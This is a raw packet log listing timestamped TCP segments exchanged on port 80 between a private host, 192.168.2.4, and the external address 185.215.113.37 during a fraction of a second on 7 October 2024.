Oct 7, 2024 21:19:22.055851936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.055862904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.055874109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.055881977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.055893898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.055926085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.055998087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.056010008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.056020021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.056041002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.056067944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.056149960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.056164026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.056173086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.056185007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.056195021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.056226969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.056237936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.056299925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.056416035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.056428909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.056438923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.056447029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.056457043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.056466103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.056503057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.056540012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.056706905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.056718111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.056726933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.056736946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.056746006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.056756020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.056759119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.056765079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.056772947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.056792021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.056803942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.057044983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.057055950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.057065010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.057075977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.057097912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.057128906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.057266951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.057279110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.057287931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.057486057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.111301899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.111345053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.111355066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.111448050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.129148006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.129177094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.129189968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.129200935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.129213095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.129236937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.129249096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.129261971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.129307985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.129327059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.129327059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.129395962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.129409075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.129420042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.129431963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.129441977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.129482031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.129513979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.172322035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.172410965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.172420025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.172458887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.172477007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.172781944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.172846079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.172858953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.172893047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.172935009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.172955036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.172965050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.173003912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.173094034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.173132896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.173134089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.173147917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.173177004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.173188925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.173365116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.173377037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.173387051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.173396111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.173420906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.173449039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.173513889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.173527956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.173573971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.173614979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.173625946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.173655033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.173680067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.173681021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.173695087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.173703909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.173733950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.173757076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.178716898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.178728104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.178739071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.178776026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.178801060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.178812027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.178821087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.178884983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.179069996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.179117918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.179141045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.179152966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.179197073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.179240942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.179255009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.179265022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.179275036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.179284096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.179291010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.179303885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.179335117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.179614067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.179665089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.179672956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.179686069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.179716110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.179728985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.179749012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.179761887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.179800034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.179852009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.179863930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.179898977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.179922104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.179945946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180001974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180010080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180042982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.180068970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.180075884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180088043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180126905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.180150986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180176973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180186987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180197954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.180227995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.180308104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180320024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180351019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.180380106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.180432081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180444002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180453062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180485010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.180510998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.180560112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180572033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180582047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180610895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.180639982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.180670977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180741072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180752993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180757999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180809021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180830956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.180857897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.180879116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180891037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180898905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180908918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.180923939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.180937052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.180968046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.181097031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.181111097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.181121111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.181129932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.181154966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.181180000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.181268930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.181328058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.181339979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.181371927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.181385040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.181462049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.181473970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.181484938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.181494951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.181504011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.181512117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.181540012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.181549072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.195924997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.195982933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.196047068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.235922098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.235939026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.235948086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.236023903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.254949093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.254981041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.254991055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.255000114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.255008936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.255072117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.255187988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.255209923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.255225897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.255242109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.255258083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.255273104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.255362988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.255362988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.255362988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.255362988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.255362988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.255362988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.255466938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.255482912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.255532026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.297266960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.297282934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.297292948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.297297955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.297302008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.297319889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.297333956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.297343969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.297357082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.297369003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.297406912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.297449112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.297458887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.297504902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.297601938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.297611952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.297624111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.297646046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.297672987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.297684908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.297697067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.297705889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.297728062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.297755957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.297781944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.297832012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.297853947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.297866106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.297924042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.297935963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.297944069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.297959089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.297982931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.297986984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.298008919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.298008919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.298043013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.298060894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.298111916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.299966097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.303174973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.303210974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.303235054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.303236961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.303258896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.303260088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.303280115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.303304911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.303431034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.303486109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.303498983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.303534031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.303538084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.303558111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.303586006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.304528952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.304543018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.304553032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.304589033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.304651022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.304656982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.304662943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.304672956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.304682970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.304704905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.304732084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.305011034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.305025101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.305033922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.305064917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.305078030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.305603981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.305643082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.305655956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.305697918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.306008101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.306020021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.306039095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.306049109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.306050062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.306061029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.306071043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.306073904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.306087971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.306094885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.306097984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.306123018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.306140900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.306227922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.306241035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.306250095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.306258917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.306265116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.306273937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.306281090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.306283951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.306296110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.306299925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.306307077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.306317091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:22.306319952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.306349039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.306371927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:22.306508064 CEST	80	49730	185.215.113.37	192.168.2.4
